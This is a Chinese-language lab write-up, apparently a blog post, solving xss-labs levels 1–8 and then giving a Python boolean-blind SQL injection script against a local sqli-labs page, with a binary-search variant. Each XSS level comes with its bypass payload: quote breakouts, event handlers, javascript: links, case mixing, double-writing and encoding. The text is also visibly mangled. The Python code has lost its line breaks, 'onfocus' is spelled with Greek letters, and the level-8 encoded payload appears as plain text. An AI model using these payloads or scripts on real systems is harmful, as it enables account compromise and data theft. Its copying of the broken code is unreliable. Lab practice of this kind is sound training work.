Xss-labs 靶场lever1~lever8通关练习
一.xss相关概念
1.反射型XSS
攻击者构造一个恶意URL,其中包含脚本代码作为参数。当用户点击该URL时,服务器将参数值直接嵌入响应页面中返回给浏览器,导致脚本在用户端执行。
2.存储型XSS
攻击者将恶意脚本提交到网站数据库(如评论区、用户资料等),当其他用户访问包含该内容的页面时,存储的脚本被读取并执行。
3.DOM型XSS
恶意脚本通过修改页面的DOM树结构触发,完全在客户端执行,不经过服务器响应。攻击通常通过URL片段(#后的内容)或用户输入影响DOM操作。
二、xsslabs通关挑战
level 1
CTRL+U查看源码逻辑
测试过滤点:直接用最简单的<script>alert()</script>试试,通过
level 2
CTRL+U查看源码逻辑
可以看到value="test",可能要考虑闭合双引号和闭合标签
尝试使用 "> <script>alert()</script> ,通过
level 3
CTRL+U查看源码逻辑
可以看到value='',可能要考虑闭合单引号和闭合标签
尝试使用 '> <script>alert()</script> ,发现没用
在下载的靶场文件中查看源码
发现这里对value里面的值也进行了实体化
所以选择绕过实体化,构建'οnfοcus='alert(123)' ,之后点击输入框,通过
level 4
查看输入位置
尝试使用 " 进行闭合, 构建"οnfοcus="alert(123)",之后点击输入框,通过
level 5
查看输入位置
尝试使用 " 进行闭合, 构建"οnfοcus="alert(123)",发现onfocus会被修改
尝试使用 "> 发现能成功闭合
使用<a></a>标签进行修饰,得到"><a href = "javascript:alert(123)"> aaaa</a>,成功通过
level 6
查看输入位置
尝试 " 能否闭合,发现能成功闭合
尝试构建"οnfοcus="alert(123)",发现onfocus会被修改
再尝试使用<a></a>标签进行修饰,输入"><a href = "javascript:alert(123)"> aaaa</a>,发现失效
把href中一部分大写来绕过检测,输入"><a HrEf = "javascript:alert(123)"> aaaa</a>
level 7
查看输入位置
使用"><a href = "javascript:alert(123)"> aaaa</a>来检测变化
使用双写来测试能不能绕过删除,输入"><a hhrefref = "javascripscriptt:alert(123)"> aaaa</a>
level 8
查看输入位置
发现被输入的值会作为是一个超链接(href)
尝试使用javascript:alert(123),发现被断开,失败
将输入的javascript:alert(123)中的javascipt进行编码
编码后结果(16进制):javascript
输入javascript:alert(123),成功通过
三、数据库中判断长度的代码优化(二分查找)
原代码
import requests# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50: # 防止无限循环breakreturn 0# 推断数据库名def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset: payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak # 找到正确字符后跳出内层循环return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")
优化后
import requests
import string
import time# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 使用二分查找推断数据库名的长度
def get_database_length():low = 1high = 50 # 假设数据库名长度不超过50while low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT length(database()) <= {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:# 如果长度 <= mid,则继续在左半部分查找high = mid - 1else:# 否则在右半部分查找low = mid + 1# 最终 low 就是数据库名的长度return low if low <= 50 else 0 # 防止超出预期范围# 推断数据库名(保持不变)
def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset: payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak # 找到正确字符后跳出内层循环return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")